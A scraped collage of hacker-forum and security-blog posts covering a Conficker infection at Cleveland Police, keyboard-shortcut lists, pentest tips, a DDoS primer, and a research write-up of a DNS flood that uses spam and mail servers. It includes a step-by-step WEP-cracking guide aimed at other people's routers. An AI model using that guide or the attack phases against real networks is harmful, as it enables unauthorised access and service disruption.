Anonymous Launches A WikiLeaks For Hackers: HackerLeaks

Despite countless WikiLeaks copycats popping up since the secret-spilling site first dumped its cache of State Department cables last year, the new generation of leaking sites has produced few WikiLeaks-sized scoops. So instead of waiting for insider whistleblowers, the hacker movement Anonymous hopes that a few outside intruders might start the leaks flowing.

Earlier this week members of the hacker collective, and specifically a sub-group known as the People’s Liberation Front, (PLF) launched two new leaking sites, LocalLeaks.tk (not to be confused with the similarly named Localeaks.com) and HackerLeaks.tk. Both hope to receive documents through anonymous submission systems, analyze them, and then distribute them to the press to get “maximum exposure and political impact.”


news from HITB
TQ HITB

Cleveland Police hit by Conficker infection

Cleveland Police suffered a major outage after its computer systems were infected by the Conficker worm in February, ZDNet UK has learnt.

The North of England police force's main systems had to be taken offline for three days after becoming infected, Cleveland Police told ZDNet UK in response to a Freedom of Information request. "[An] infected CD containing evidential CCTV footage [was] loaded into a standalone PC, which was inadvertently joined to the network briefly for routine maintenance," Cleveland Police said.

A Cleveland Police spokeswoman told ZDNet on Wednesday that the infection was from a Conficker variant. Conficker is a pernicious network worm that targets flaws in Microsoft software and can spread via a number of methods, including infected USB drives and dictionary attacks on passwords over a network.

How to crack a wep key (with windows)

1)First download Here (http://www.aircrack-ng.org/) and Here (http://download.cnet.com/CommView-for-WiFi/3000-2085_4-10218782.html)

2)Now install commview and the right drivers.

3)Start up commview and go to the "logs" tab.

4)Click all packets in buffer, On the top right hand side make all the numbers MAX

5)Now on the top left hand side click the blue play button (if its gray you haven't
installed drivers correctly of your pc is not compatible with the program)

6)Now click start scanning...some routers will pop up with there names there 11 channels so you have a far chance of getting one...

7)Now find one with good signal (more green squares next to it) and click on it and then click capture at the bottom left

8)You computer is now collecting packets of information from your "friends" router

9)When you have about a million packets (the more the better i go for about 2 million)

10)When you get the target amount of packets click stop then go to "file" go down to "export logs" then Tcpdump format (its the bottom one) and export them as a .CAP format save it to your desktop

11)Now extract aircrack-ng then click on bin and then on aircrack-ng GUI...click choose then your .CAP file on your desktop

12)Select how many bit's the target router is then click launch.

13)Wait till it loads now you should see your CMD up and it as basicly asking you which router you want to crack.

14)There is a # next to the name simply put the # of the router and press enter..you just wait.

15)It takes like 5 min for mine to find the key and my comp sucks lol but after its done it will say KEY FOUND and have the key next to it then your done.

16)If it says you need more IV's then just go back to commviewer repeat from above numbers 5 and 6 after about 1million more do numbers 11 to 16 except when you choose your .CAP files make sure you choose the one from before and your new one so you should have BOTH of them selected if it still dose not work PM me if you have TEAMVIWER installed and i will hwlp you out but if you dont have adlest 3 million packets i will disconnect because that tells me you diffident try Smile

HAPPY CRACKING!!!

*may be still got n00b using WEP*


Want My Green Name Back!
----------------------------------------------------------------------

The topic can be found here:
http://silenthackers.com/group/index.php?showtopic=912

Please note that if you wish to get email notification of any replies to this topic, you will have to click on the
"Watch Topic" link shown on the topic page, or by visiting the link below:
http://silenthackers.com/group/index.php?app=core&module=usercp&tab=forums&area=watch&watch=topic&do=list&tid=912

New Keyboard ShotCuts

New Keyboard ShotCuts" in forum "Computer Tips & Tutorial For Windows".

1.) Windows Hotkeys


Shift + F10 right-clicks.
Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.
Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.
Win + Control + F: Open Find dialog. (Computers)
Win + U: Open Utility Manager.
Win + F1: Open Windows help.
Win + Pause: Open System Properties dialog.
Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.
Win + Shift + Tab: Cycle through taskbar buttons in reverse.
Alt + Tab: Display CoolSwitch. More commonly known as the AltTab dialog.
Alt + Shift + Tab: Display CoolSwitch; go in reverse.
Alt + Escape: Send active window to the bottom of the z-order.
Alt + Shift + Escape: Activate the window at the bottom of the z-order.
Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.
Shift while a CD is loading: Bypass AutoPlay.
Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)
Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.
Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.
Printscreen: Copy screenshot of current screen to clipboard.
Alt + Printscreen: Copy screenshot of current active window to clipboard.
Ctrl + Alt + Down Arrow: Invert screen. Untested on OSes other than XP.
Ctrl + Alt + Up Arrow: Undo inversion.
Win + B : Move focus to systray icons.



2.) Generic




Ctrl + C or Ctrl + Insert: Copy.
Ctrl + X or Shift + Delete: Cut.
Ctrl + V or Shift + Insert: Paste/Move.
Ctrl + N: New... File, Tab, Entry, etc.
Ctrl + S: Save.
Ctrl + O: Open...
Ctrl + P: Print.
Ctrl + Z: Undo.
Ctrl + A: Select all.
Ctrl + F: Find...
Ctrl+W : to close the current window
Ctrl + F4: Close tab or child window.
F1: Open help.
F11: Toggle full screen mode.
Alt or F10: Activate menu bar.
Alt + Space: Display system menu. Same as clicking the icon on the titlebar.
Escape: Remove focus from current control/menu, or close dialog box.

3.) Generic Navigation



Tab: Forward one item.
Shift + Tab: Backward one item.
Ctrl + Tab: Cycle through tabs/child windows.
Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.
Enter: If a button's selected, click it, otherwise, click default button.
Space: Toggle items such as radio buttons or checkboxes.
Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.
Ctrl + Left: Move cursor to the beginning of previous word.
Ctrl + Right: Move cursor to the beginning of next word.
Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in RichEdit controls.
Ctrl + Down: Move cursor to beginning of next paragraph.
Shift + Left: Highlight one character to the left.
Shift + Right: Highlight one character to the right.
Shift + Up: Highlight from current cursor position, to one line up.
Shift + Down: Highlight from current cursor position, to one line down.
Ctrl + Shift + Left: Highlight to beginning of previous word.
Ctrl + Shift + Right: Highlight to beginning of next word.
Ctrl + Shift + Up: Highlight to beginning of previous paragraph.
Ctrl + Shift + Down: Highlight to beginning of next paragraph.
Home: Move cursor to top of a scrollable control.
End: Move cursor to bottom of a scrollable control.

4.) Generic File Browser



Arrow Keys: Navigate.
Shift + Arrow Keys: Select multiple items.
Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.
(Letter): Select first found item that begins with (Letter).
BackSpace: Go up one level to the parent directory.
Alt + Left: Go back one folder.
Alt + Right: Go forward one folder.
Enter: Activate (Double-click) selected item(s).
Alt + Enter: View properties for selected item.
F2: Rename selected item(s).
Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.
Delete: Delete selected item(s).
Shift + Delete: Delete selected item(s); bypass Recycle Bin.
Ctrl while dragging item(s): Copy.
Ctrl + Shift while dragging item(s): Create shortcut(s).
In tree pane, if any:
Left: Collapse the current selection if expanded, or select the parent folder.
Right: Expand the current selection if collapsed, or select the first subfolder.
NumpadAsterisk: Expand currently selected directory and all subdirectories. No undo.
NumpadPlus: Expand currently selected directory.
NumpadMinus: Collapse currently selected directory.

5.) Accessibility



Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.
Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.
Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.
NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.
Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.
6.) Microsoft Natural Keyboard with IntelliType Software Installed
Win + L: Log off Windows.
Win + P: Open Print Manager.
Win + C: Open control panel.
Win + V: Open clipboard.
Win + K: Open keyboard properties.
Win + I: Open mouse properties.
Win + A: Open Accessibility properties.
Win + Space: Displays the list of Microsoft IntelliType shortcut keys.
Win + S: Toggle CapsLock on and off.

7.) Remote Desktop Connection Navigation



Ctrl + Alt + End: Open the NT Security dialog.
Alt + PageUp: Switch between programs.
Alt + PageDown: Switch between programs in reverse.
Alt + Insert: Cycle through the programs in most recently used order.
Alt + Home: Display start menu.
Ctrl + Alt + Break: Switch the client computer between a window and a full screen.
Alt + Delete: Display the Windows menu.
Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.
Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.

8.) Mozilla Firefox Shortcuts



Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.
Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.
Ctrl + (1-9): Switch to tab corresponding to number.
Ctrl + N: New window.
Ctrl + T: New tab.
Ctrl + L or Alt + D or F6: Switch focus to location bar.
Ctrl + Enter: Open location in new tab.
Shift + Enter: Open location in new window.
Ctrl + K or Ctrl + E: Switch focus to search bar.
Ctrl + O: Open a local file.
Ctrl + W: Close tab, or window if there's only one tab open.
Ctrl + Shift + W: Close window.
Ctrl + S: Save page as a local file.
Ctrl + P: Print page.
Ctrl + F or F3: Open find toolbar.
Ctrl + G or F3: Find next...
Ctrl + Shift + G or Shift + F3: Find previous...
Ctrl + B or Ctrl + I: Open Bookmarks sidebar.
Ctrl + H: Open History sidebar.
Escape: Stop loading page.
Ctrl + R or F5: Reload current page.
Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.
Ctrl + U: View page source.
Ctrl + D: Bookmark current page.
Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.
Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.
Ctrl + Numpad0 or Ctrl + 0: Set text size to default.
Alt + Left or Backspace: Back.
Alt + Right or Shift + Backspace: Forward.
Alt + Home: Open home page.
Ctrl + M: Open new message in integrated mail client.
Ctrl + J: Open Downloads dialog.
F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
Shift + F6: Switch to previous frame.
Apostrophe ('): Find link as you type.
Slash (/): Find text as you type.

9.) GMail



Note: Must have "keyboard shortcuts" on in settings.
C: Compose new message.
Shift + C: Open new window to compose new message.
Slash (/): Switch focus to search box.
K: Switch focus to the next most recent email. Enter or "O" opens focused email.
J: Switch focus to the next oldest email.
N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
P: Switch focus to the previous message.
U: Takes you back to the inbox and checks for new mail.
Y: Various actions depending on current view:
Has no effect in "Sent" and "All Mail" views.
Inbox: Archive email or message.
Starred: Unstar email or message.
Spam: Unmark as spam and move back to "Inbox."
Trash: Move back to "Inbox."
Any label: Remove the label.
X: "Check" an email. Various actions can be performed against all checked emails.
S: "Star" an email. Identical to the more familiar term, "flagging."
R: Reply to the email.
A: Reply to all recipients of the email.
F: Forward an email.
Shift + R: Reply to the email in a new window.
Shift + A: Reply to all recipients of the email in a new window.
Shift + F: Forward an email in a new window.
Shift + 1 (!): Mark an email as spam and remove it from the inbox.
G then I: Switch to "Inbox" view.
G then S: Switch to "Starred" view.
G then A: Switch to "All Mail" view.
G then C: Switch to "Contacts" view.
G then S: Switch to "Drafts" view.



10.) List of F1-F9 Key Commands for the Command Prompt



F1 / right arrow: Repeats the letters of the last command line, one by one.
F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line
F3: Repeats the last command line
F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line
F5: Goes back one command line
F6: Enters the traditional CTRL+Z (^z)
F7: Displays a menu with the command line history
F8: Cycles back through previous command lines (beginning with most recent)
F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.
Alt+Enter: toggle fullScreen mode.
up/down: scroll thru/repeat previous entries
Esc: delete line
Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.


CUT ACROSS WITH THE KEYBOARD SHORTCUTS
USING THE MOUSE IS EASY, BUT IF YOU REALLY WANT TO WORK ON YOUR PC LIKE A PRO, THESE KEYBOARD SHORTCUTS GET YOU THERE......

SR.NO.
SHORT CUT KEYS
USE

FOR WINDOWS AND ITS PROGRAMS





1.
Help

2. F2 Rename an item

3. F3 Open files

4. ALT+F4 Close window or quit program

5. F10 Activate the menu bar in a program

6. CTRL+ ESC open start menu, use the arrow keys to select an item, or TAB to select the taskbar

7. ALT+ TAB Return to previous program, or hold down the ALT key while repeatedly pressing tab to cycle through open programs

8. SHIFT+ DEL delete items permanently without sending to recycle bin

9. CTRL+ A Highlight all the items in window

10. CTRL+ C Copy

11. CTRL+ X Cut

12. CTRL+ V Paste

13. CTRL+ Z Undo

14. CTRL+ Y Redo

FOR INTERNET EXPLORER AND NETSCAPE

15. Home Jumps to the beginning of the page

16. END Jumps to the end of the page

17. ESC Stops the current page from loading

18. F11 Toggles full screen view

19. ALT+ LEFT ARROW Goes back to the previous page

20. ALT+ RIGHT ARROW Goes forward to the next page

21. ALT+ Home Goes to your Home page

22. CTRL+ N Opens a new browser window

23. CTRL+ W Closes the active window

24. CTRL+ O Opens the address book

25. CTRL+ R Reloads the current page

26. CTRL+ B Opens the Organized Favorites or Bookmarks windows

27. CTRL+ D Add the current page to your Favorites or Bookmarks

28. CTRL+ H Opens the history folder

29. CTRL+ F Finds text on the current page



CONTROL OVER A TO Z
One of the keys whose importance may have gone unnoticed by most of us is the Control key (Ctrl). The Control key in combination with the 26 alphabet keys can make a lot of our work easier than we think. The following pair of keys can come in handy when we want tasks faster than while using the mouse.

Operations that can be performed on the text selected:-

30. CTRL+ A Select all

31. CTRL+ B Bold

32. CTRL+ C Copy

33. CTRL+ E Justify center

34. CTRL+ I Italics

35. CTRL+ J Justify full

36. CTRL+ L Justify Left

37. CTRL+ M Indent

38. CTRL+ Q Remove paragraph Formatting

39. CTRL+ R Justify right

40. CTRL+ T Margin release

41. CTRL+ U Underline

These keys combos can be used to do other operations:-

42. CTRL+ D Opens Font Dialog Box

43. CTRL+ F Find

44. CTRL+ G Go to page, section, line, heading etc

45. CTRL+ H Find and replace

46. CTRL+ K Insert Hyperlink

47. CTRL+ N Open a new document

48. CTRL+ O Open an existing document

49. CTRL+ S Save

50 CTRL+ W Close an existing document

51. CTRL+ Y Redo

52. CTRL+ Z Undo

Besides the alphabet keys, a combination of other keys also helps:-

53. CTRL+ LEFT ARROW Jumps one word left

54. CTRL+ RIGHT ARROW Jumps one word right

55. CTRL+ DOWN ARROW Jumps one para down

56. CTRL+ UP ARROW Jumps one para up

57. CTRL+ BACKSPACE Delete one word left

58. CTRL+ DELETE Delete one word right

59. CTRL+ PAGE UP To the beginning of the previous page

60. CTRL+ PAGE DOWN to the beginning of the next page

61. CTRL+ P Print Dialog box
----------------------------------------------------------------------

The topic can be found here:
http://silenthackers.com/group/index.php?showtopic=908

Please note that if you wish to get email notification of any replies to this topic, you will have to click on the
"Watch Topic" link shown on the topic page, or by visiting the link below:

here

Penetration Testing: Tips For Successful Test

Penetration testing is growing field and most of the companies hire ethical hackers to perform a quick pen test on their network to evaluate the security of the network. If you are expert in penetration testing or if you are a student of this field, in both cases you must follow some rules (tips) to perform a effective penetration testing.
We have discussed so many pen testing tools before so this article will not introduce you to tool but some tips surely.

First of all make sure that the test you are going to do is not conflict with the laws of local government, you must have an idea about cyber laws and crimes that you will surely learn by your experiences and through your academic career.


Below are some tips to perform a successful penetration testing, I have written this tips with my best experience and knowledge, it is possible that you are not agree with me, so do share your tips via comment.

Tips For Ethical Hacking Process

* You must put yourself on save side, so make proper documentation before going to perform a test, your document must contain a written permission to perform the test, keep in mind you will test the system and network as a hacker view.

* Planning is a good habit, so set your goals to achieve by this test, make a proper plane to do the job.

* Inform client (higher authorities) about your plane and discuss your plane with them.

* Choose the right tools for the right job, try to use the latest and best tools.

* Try to think like an attacker (hacker), try your best knowledge and skills and must consider all the attacking vectors.

* Choose the right time for the job.

* Do not try to exploit the system and network without the permission of client.

* Show the vulnerabilities to the higher authorities (client), and suggest some countermeasure.

* Make proper documentation to all your steps to avoid yourself from trouble.

* Right a proper report in very professional manner.

* By using your report show your client about the importance of penetration testing, let them know about the vulnerabilities and the risk.

Penetration testing VS Vulnerability Assessment

An Introduction to DDoS – Distributed Denial of Service attack

As you might have heard, the famous blogging service WordPress.com was recently unavailable for around an hour due to a huge Distributed Denial of Service attack carried out by many infected computers on the Internet. In this article, let us look at what a Distributed Denial of Service attack is, why it is hard to detect and mitigate, few types of DDoS attacks & some measures one can take to prevent/ mitigate them.
What is DDoS – Distributed Denial of Service Attack?
DDoS stands for Distributed Denial of Service attack. It is a form of attack where a lot of zombie computers (infected computers that are under the control of the attacker) are used to either directly or indirectly to flood the targeted server(s) – victim, with a huge amount of information and choke it in order to prevent legitimate users from accessing them (mostly web servers that host websites). In most cases, the owners of the zombie computers may not know that they are being utilized by attackers. In some cases, there is only a periodic flooding of web servers with huge traffic in order to degrade the service, instead of taking it down completely.
Components & Architecture diagram of a Distributed Denial of Service attack:
As you can see in the above architecture diagram representing Distributed Denial of Service (DDoS) attacks, there maybe up to five components. Two of them are aways there – The attacker/ master computer from where the attacks are initiated and the Victim/ Attacked server which comes under the attack. Presence of just these two components makes it a Denial of Service attack (DOS).

The three components in the middle, make it a Distributed Denial of Service attack! Zombies / botnets are the computers from which the DDoS attacks are carried out. They may either be volunteer computers or in most cases, infected computers of Internet browsing users who download certain malicious software unawares (from bit-torrent sites, etc) which entitles them to be controlled by the attackers. There maybe an additional layer of handlers / controlling computers which issue instructions to the zombies/ agents & a reflector layer which amplifies the number of requests that arrive from zombies, and sends it to the victim servers to cripple it.



Why are DDoS – Distributed Denial of Service attacks difficult to detect and mitigate?
Since unsuspecting user’s computers are used as zombies to carry out the attacks against the victim server, it is difficult to trace down the actual attacker. More over, there are no fixed IP addresses/ IP address series for the zombie computers that connect to the Internet using broadband connections, and even if some of attacking zombie computers are identified and blocked, more computers can always be summoned by the attacker.
Sometimes, even zombie computers do not directly communicate with the victim servers – instead they spoof the IP address of the victim server and send requests to large number of reflector computers (which may not be infected). This makes the reflectors to send huge reply packets to victim servers, as they need to reply back to all the requests from what it thinks is the originator!
It might be relatively easier to identify and fend off the bigger attacks from small number of systems like 10 machines sending 1000 requests per second than 1000 machines sending 10 requests per second, which is possible with DDoS attacks.
Some of these attacks are in the range of multiple Gigabits per second (In the case of WordPress.com, it was 4 Gbps). Since most Internet connectivity links to individual organizations are lesser than that, such high magnitude attacks can choke the entire Internet bandwidth.

Types of Distributed Denial of Service attacks:
There are two types of DDoS attacks – Attacks that target the Network (Internet bandwidth) and choke the Internet bandwidth used by the victim server, so that it cannot accept legitimate requests coming from genuine users through the Internet gateway & Attacks that target the vulnerabilities in applications in order to cripple server resources like CPU, RAM, Buffer memory, etc and make the servers unavailable for handling any legitimate requests.

For example, DNS attack targets the network. In this, many zombie computers query DNS servers simultaneously (with the spoofed IP address of the victim server). Now, the DNS servers need to respond back to the queries, to the source IP address. Since all the source IP addresses are of the victim server, all the responses are sent there – thereby chocking the bandwidth available with the victim server. Likewise, a Syn Flood attack targets applications – It opens multiple connections (using multiple zombie computers) to the victim server using ‘Syn’ requests. The server responds with ‘Syn-Ack’ acknowledgement. The zombie computers need to send back an ‘Ack’ response, for the victim server to close the connection. But they don’t do that, resulting in many open connections (which cannot be used by other users) in the server.
The handlers, are a small number of controlling computers which communicate with the numerous zombie computers using command and control signals, which can be intercepted to identify the handlers/ master computer. But sometimes, even those communications are encrypted by attackers.

Some Steps for prevention/ mitigation of Distributed Denial of Service attacks (DDoS):
As such, the Distributed Denial of Service attacks are difficult to prevent / mitigate. But steps can be taken (based on your environment) to prevent/ identify/ mitigate the DDoS attacks and some of them are given below:

OpenDNS Launches DNS-Based Malware Protection Service for Enterprises

OpenDNS will detect and block all DNS requests to malicious servers as part of its malware protection service

OpenDNS, the domain name resolution service, launched a DNS-based malware protection service in its enterprise offering that’s designed to detect and block infected computers from communicating with command-and-control servers.

This security service for enterprises will examine all DNS activity on the organization’s network and block any traffic going to a known malicious site, David Ulevitch, CEO of OpenDNS, told eWEEK on June 21. The malware detection feature will make the cloud security service stronger and more effective at warding off destructive malware attacks, according to Ulevitch.

The Domain Name System is a phone book for the Internet, and DNS providers translate domain names into the numeric IP address of the server hosting the content. It is easy for attackers to update the DNS record as they shift among various servers to avoid detection or randomly generate new domain names several times a day to make it hard to be traced and shut down, said Ulevitch. The compromised machines can continue to find the C&C servers using DNS.

“In almost all cases, malware uses DNS to phone home and get new instructions from the botmaster,” Ulevitch said.

OpenDNS Enterprise malware protection serves two roles, preventing malware from reaching the endpoint within the enterprise and blocking infected hosts from phoning home to botnet command and control servers, Ulevitch said.

OpenDNS partnered with a half dozen to dozen major security vendors who are active in the anti-malware and antivirus space to receive real-time feeds of malicious domains and addresses, Ulevitch said. The partners are in the business of discovering and “quickly disseminating the information about the malware,” he said.

Since OpenDNS will know beforehand all the malicious addresses, it will be able to mitigate the effects of a compromised system obtaining instructions to launch further attacks, according to Ulevitch. If a user’s computer tries to access a domain that the partners have identified as being infected, the transaction is blocked and there is the option to reroute the user to a different server for further analysis and forensics, he said.

The DNS-based service is protocol and application agnostic. This means that the service is not restricted to just filtering and examining Web activity, as is the case for many of the major security products on the market, Ulevitch said. Many botnets have the zombies communicate with the botnet via an IRC (Internet Relay Chat) channel and a normal Web-focused product won’t be able to detect that traffic. On the other hand, “all types of malware rely on DNS,” he said.

If DNS is blocked, the compromised system won’t “get the instructions it needs, won’t be participating in DDOS attacks and can’t steal and transfer sensitive information,” Ulevitch said. The new malware protection service is a “firehose” into the enterprise’s network, he said.

While attackers can conceivably bypass DNS by using IP addresses, Ulevitch pointed out that has been a rarely-used tactic. It is pretty easy to shut down IP addresses and if the zombie PCs are hard-coded to connect to specific IP addresses, it is very easy for the botnet owner to lose control of its army, according to Ulevitch.

The malware protection feature is baked into the enterprise platform and is enabled by default. There are no upsell opportunities, as the feature will be readily available along with “rudimentary” reporting capabilities. Additional reports will “evolve quickly,” Ulevitch said.

Companies can work with registrars to shut down domain names that have been identified as malicious. That’s what the Conficker Working Group did as part of its effort to shut down the worm. It was very “defensive” and very difficult because there was a lot of work involved in coordinating with various organizations.

The OpenDNS service allows the provider to block the DNS without having to talk to registries. In hindsight, it seemed obvious that botnet infections should be mitigated using DNS, instead of relying on various levels of intrusion prevention and detection products, anti-spam software and other security measures. “We said we could do all this on the DNS level,” Ulevitch said.

At the moment, OpenDNS is making the service available as a paid service only for its enterprise customers. “I would like to find a way to roll out to everybody, even the free users,” Ulevitch said.

The service began being rolled out on June 20, and will be live in all its data centers and for all clients by the end of the week.

New attack vector in DDoS observed

This arti­cle is a result of the com­mon research of Jakub Alimov from the Sez​nam​.cz and minor from Zone​-​h​.org. If you have any­thing to say about this, write to com­ments [a} zone-h{dot]org. The topic was pre­sented at the SPI con­fer­ence in Brno/​CZ.

The prob­lem of the mis­use of the email sys­tem for send­ing the unso­licited bulk mes­sages (spam) is in the focus for more than 20 years. As the pro­tec­tive coun­ter­mea­sures are devel­oped, the tech­niques of the spam­mers are being more and more sophis­ti­cated. Nowa­days the pro­tec­tive meth­ods involve:

IP/​Host blacklist

Sender/sender’s domain checking

SMTP compliance

Con­tent checking

Attach­ment checking

Bayesian filters

Triplet check­ing (IP address, sender, receiver)

Other methods

These meth­ods are imple­mented on the var­i­ous stages of the e-​mail han­dling. Although the deci­sion process is not sim­ple, the most impor­tant is to deliver all the “ham” mes­sages. Spam­mers are using nowa­days much more pre­cise ways to ensure their spam mes­sages will be accepted. As from our obser­va­tion, the spam­mers are focused on the qual­ity of the spam mes­sage. We will shortly focus on the method, where the sender’s domain is checked. This is described in the sec­tion 3.6 of the RFC2821 [6] that is deal­ing with the SMTP.

When SMTP con­nec­tion is made, the sender has to spec­ify it’s domain at least in the MAIL FROM com­mand that is made. Accord­ing to the RFC 2821: “Only resolv­able, fully-​qualified, domain names (FQDNs) are per­mit­ted when domain names are used in SMTP. In other words, names that can be resolved to MX RRs or A RRs (as dis­cussed in sec­tion 5) are per­mit­ted, as are CNAME RRs whose tar­gets can be resolved, in turn, to MX or A RRs. Local nick­names or unqual­i­fied names MUST NOT be used.”

Also Denial of ser­vice attacks on the DNS servers are noth­ing new, we would like to remind on some of the well known attacks on the root servers; first big attack hap­pened on Octo­ber 21st 2002 [1], where all 13 root servers were simul­ta­ne­ously attacked by means of a dis­trib­uted denial of ser­vice attack, par­tic­u­larly by send­ing exces­sive amount of the traf­fic con­tain­ing the ICMP data, TCP SYN, frag­mented TCP data and UDP data. The sec­ond big attack hap­pened in Feb­ru­ary 2007 [2], as reported by the ICANN, at least 6 root servers were the sub­ject of the Denial of ser­vice attack, and the attack­ing force was a bot­net. More insight into this attack was brought by John Kristoff [3], who tried to explain real facts, as he wrote in his pre­sen­ta­tion: “Even the ICANN ‘fact sheet’ was impre­cise on: Who exactly got hit, the attack dura­tion and start/​stop times, the packet-​level detail”. One of the most impor­tant infor­ma­tion in his pre­sen­ta­tion is the num­ber of the attack­ing bots. Kristoff claims, the attack was per­formed with 4000 – 5000 bots cre­ated from infected com­put­ers run­ning Microsoft Windows.

Yet another inter­est­ing Denial of ser­vice attack against the DNS servers hap­pened in the Feb­ru­ary 2006 [4], accord­ing to the offi­cial release from the ICANN SSAC, this was the case of the DNS ampli­fi­ca­tion attack with spoofed source IP addresses.

The attack we observed and analysed com­bines the fea­tures of pre­vi­ously known Denial of ser­vice attacks with the mis­use of the pro­tec­tive means and spam­ming tech­nique. We have to men­tion also the lack of will­ing­ness and very slow approach from the Inter­net reg­is­tra­tion author­i­ties when fight­ing with a cyber crime and other process related prob­lems that make this kind of attack possible.

Denial of Ser­vice attacks against DNS servers using the white horses

The Denial of Ser­vice attacks in years 2002, 2006 and 2007 that we men­tioned in the intro­duc­tion were per­formed on a large scale. Fol­low­ing sce­nario con­sid­ers that a sin­gle pre-​registered domain is used. To per­form the Denial of Ser­vice attack using white horse sys­tems fol­low­ing means are necessary:

Spam bot­net – dur­ing our obser­va­tion we recorded about 14.000 unique IP addresses appar­ently belong­ing to a sin­gle botnet.

Pre-​registered domain – it is nec­es­sary to have a pos­si­bil­ity to man­age the domain records, but this fea­ture is often offered by the providers/​resellers.

The attack phases are as follows:

The attacker obtains the IP address /​host­name of the tar­get DNS server.

The attacker updates the NS records of the pre-​registered domain foo​-domain​.com with the IP address /​host­name of the tar­get DNS server. Some reg­is­trars or host­ing providers do not pro­vide this func­tion­al­ity, many other do. There are known host­ing com­pa­nies and ISP that are sup­port­ing the spam [5]. After the NS records update the attacker waits at least 24 hours until the new records are prop­a­gated all over the Internet.

Now the attacker pre­pares a spam cam­paign. There are few aspects to note: as first, the sender mail address for the MAIL FROM can con­tain the same user name, but the sub­do­main — 3rd level domain must vary per each spam mes­sage (for exam­ple first spam mes­sage has the sender james@​subdom1​.​foo-​domain.​com but the sec­ond sender has to be james@​subdom2​.​foo-​domain.​com).

The sec­ond impor­tant aspect is the selec­tion of the white horse sys­tems. White horse sys­tems are the SMTP incom­ing mail servers with a high bandwidth.

Once the spam cam­paign has been started to the white horse sys­tems using the spam bot­net, these sys­tems check on the back­ground whether the sender’s domain resolves to the domain MX or at least to an A record. Since the NS record is set to the tar­get DNS server, the DNS requests will be per­formed to the tar­get DNS server.

Tar­get DNS server receives mul­ti­ple reg­u­lar DNS requests for the bogus sub­do­main records(note that in the pre­vi­ous Denial of Ser­vice attacks against the DNS servers received either mal­formed, frag­mented, ICMP mes­sages or TCP SYN, with invalid length, or over­sized and some of these can be fil­tered by the fire­walls or secu­rity appli­ances). Since the DNS server does not have the records for the foo​-domain​.com, it has to respond neg­a­tively to the request. If the spam cam­paign is suc­cess­ful, the white horse sys­tems flood the DNS server with mul­ti­ple valid DNS requests. The attack schemat­ics are shown in the Fig­ure 1.



Fig­ure 1: Exam­ple of a figure.

As we already wrote in this paper, the num­ber of recorded bots dur­ing the attack obser­va­tion was about 14.000 with more than 100.000 spam mes­sages. The tar­get was just one DNS server and only one pre-​registered domain was used. The white horse sys­tems were able to dis­rupt the DNS server oper­a­tion for more than one day and the effi­ciency of such attack was very high. It is not pos­si­ble to use the IP spoof­ing in this kind of the attack because the bot­net has to make a proper SMTP com­mu­ni­ca­tion to the white horse systems.

This kind of the Denial of ser­vice attack has many advan­tages from the attacker point of view. Tra­di­tional meth­ods of the flood­ing can be fil­tered by the fire­walls, UTM boxes or even at ISP level, mak­ing the attack weaker. But fire­walls and other secu­rity appli­ances can­not block a valid DNS requests even for a bogus domain and sub­do­main. Among other advan­tages, these are of a sig­nif­i­cant meaning:

The bot­net is not attack­ing directly and attack might look like a “com­mon” spam cam­paign. Real inten­tions might be hid­den unless a proper analy­sis of the spam cam­paign and its impact will be evaluated.

Because of the SMTP nature all SMTP servers might become the white horses.

This attack can be ampli­fied by using more than one pre-​registered domain. If all the pre-​registered domains will have the same NS record con­fig­ured, this will extend the attack dura­tion time or its strength.

The attack source on the tar­get will bring the con­fu­sion – white horse sys­tem in this attack method are con­sid­ered as the servers with a high reputation.

Not only a bot­net must be involved – any sys­tem that is able to send spam mes­sages (for exam­ple, vul­ner­a­ble webap­pli­ca­tion) can par­tic­i­pate on this attack.

If the spam cam­paign will be suc­cess­ful and the spam mes­sages arrive to the user mail­boxes, it can bring “dou­ble sat­is­fac­tion” to the attacker.

This attack has also some dis­ad­van­tages; we would like to men­tion a longer plan­ning and deep analy­sis of the white horse sys­tem before the attack is launched. There­fore this attack method is not suit­able for the small tar­gets. Also the pre-​registered domain can be soon black­listed, there­fore using one pre-​registered domain can bring only a short effect.

Com­bi­na­tion of the old and new attack methods

